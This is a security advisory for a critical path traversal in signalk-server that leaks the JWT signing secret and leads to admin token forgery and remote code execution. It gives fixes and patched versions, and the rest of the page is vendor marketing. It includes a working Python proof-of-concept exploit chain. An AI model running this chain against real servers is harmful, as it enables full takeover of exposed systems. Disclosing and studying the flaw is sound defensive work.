Summary
Signal K resources API path traversal can disclose the JWT signing secret and enable remote code execution
Path traversal in the Signal K resources and applicationData APIs lets an
unauthenticated or low-privileged user read, write and delete files outside
the storage root. Reading /security.json discloses the JWT signing
secret, enabling admin token forgery and remote code execution.
Details
Description
The v2 REST resources API GET /signalk/v2/api/resources/:resourceType/:resourceId passes resourceId to FileStore.getResource() without validation. getResource() builds the file path with path.join(this.resources[type].path, itemUuid) followed by readFile + JSON.parse, so a %2F-encoded multi-level traversal (..%2F..%2F..%2F..%2F) escapes the resource storage directory and returns any JSON file on the server (source: src/api/resources/index.ts:559-600, packages/resources-provider-plugin/src/filestorage.ts:115-125).
Because the JWT signing secret is stored in plaintext in <config>/security.json (generated at src/tokensecurity.ts:271, persisted via saveSecurityConfig at src/security.ts:377), an unauthenticated attacker on deployments with allow_readonly=true (a supported, UI-toggleable configuration granting anonymous read access) can:
- Read
<config>/security.json, disclosing the JWT signing secret (512-hex) and user password hashes. - Forge an admin JWT, HS256-sign
{"id":"admin"}with the disclosed secret; accepted by/skServer/loginStatus(userLevel: "admin") and all admin-protected endpoints (adminAuthenticationMiddleware,src/tokensecurity.ts:593, applied atsrc/tokensecurity.ts:953). - Gain remote code execution,
POST /skServer/providers(admin) accepts a provider of typeExecute;packages/streams/src/execute.ts:93executes it viaspawn('sh', ['-c', command])at creation time. The provider persists tosettings.jsonand survives restarts.
On default deployments (allow_readonly=false), step 1 returns 401 to anonymous users but succeeds with any readonly user token.
Suggested fixes
- Validate
resourceIdagainst a strict whitelist (for example, UUID format) insrc/api/resources/index.tsbefore any storage call, including PUT/DELETE. - In
FileStore.getResource/setResource/deleteResource, canonicalise withpath.resolve()and reject results outsidethis.resources[type].path. - Store the JWT signing secret outside the API-readable config directory, in a dedicated key file with mode 0600.
- Consider gating provider types that execute commands (
Execute) behind an explicit opt-in.
Proof of concept
Fully local testbed. Start the server, enable allow_readonly=true, then run:
#!/usr/bin/env python3
import base64, hashlib, hmac, json, time, urllib.request
BASE = "http://127.0.0.1:3000"
CMD = "id > /tmp/sk-pwned"
# 1) unauthenticated traversal read of security.json
p = "/signalk/v2/api/resources/notes/..%2F..%2F..%2F..%2Fsecurity.json"
sk = json.load(urllib.request.urlopen(BASE + p))["secretKey"]
# 2) forge admin JWT
b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode()
h = b64(json.dumps({"alg":"HS256","typ":"JWT"}).encode())
c = b64(json.dumps({"id":"admin","iat":int(time.time())}).encode())
tok = h+"."+c+"."+b64(hmac.new(sk.encode(), (h+"."+c).encode(), hashlib.sha256).digest())
req = urllib.request.Request(BASE+"/skServer/loginStatus", headers={"Authorization":"JWT "+tok})
assert json.load(urllib.request.urlopen(req))["userLevel"] == "admin"
# 3) add an Execute provider -> spawn('sh','-c',CMD)
prov = {"id":"poc-rce","enabled":True,"logging":False,"type":"Execute",
"options":{"type":"ws","dataType":"SignalK","command":CMD}}
req = urllib.request.Request(BASE+"/skServer/providers", data=json.dumps(prov).encode(),
headers={"Authorization":"JWT "+tok,"Content-Type":"application/json"}, method="POST")
print(urllib.request.urlopen(req).read()) # provider created; /tmp/sk-pwned now exists
Reproduction verified independently on master 340d5bb6 (Node 22 / macOS), including restart persistence. PoC artifacts are available on request.
Impact
Unauthenticated access (with allow_readonly=true) leads to full compromise of the server process: arbitrary JSON file read, admin takeover, arbitrary command execution with server privileges, and persistent re-execution after restart. All signalk-server releases and all published versions of the bundled/standalone resources-provider prior to 2.34.0 are affected with the patched version as 2.34.0 fix
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
GHSA-4XM8-RG9H-JHQ2 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.34.0, 1.5.3); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
signalk-server to 2.34.0 or later; @signalk/resources-provider to 1.5.3 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-4XM8-RG9H-JHQ2? GHSA-4XM8-RG9H-JHQ2 is a critical-severity path traversal vulnerability in signalk-server (npm), affecting versions >= 2.0.0, < 2.34.0. It is fixed in 2.34.0, 1.5.3. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is GHSA-4XM8-RG9H-JHQ2? GHSA-4XM8-RG9H-JHQ2 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by GHSA-4XM8-RG9H-JHQ2?
signalk-server(npm) (versions >= 2.0.0, < 2.34.0)@signalk/resources-provider(npm) (versions >= 1.0.0, < 1.5.3)
- Is there a fix for GHSA-4XM8-RG9H-JHQ2? Yes. GHSA-4XM8-RG9H-JHQ2 is fixed in 2.34.0, 1.5.3. Upgrade to this version or later.
- Is GHSA-4XM8-RG9H-JHQ2 exploitable, and should I be worried? Whether GHSA-4XM8-RG9H-JHQ2 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-4XM8-RG9H-JHQ2 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-4XM8-RG9H-JHQ2?
- Upgrade
signalk-serverto 2.34.0 or later - Upgrade
@signalk/resources-providerto 1.5.3 or later
- Upgrade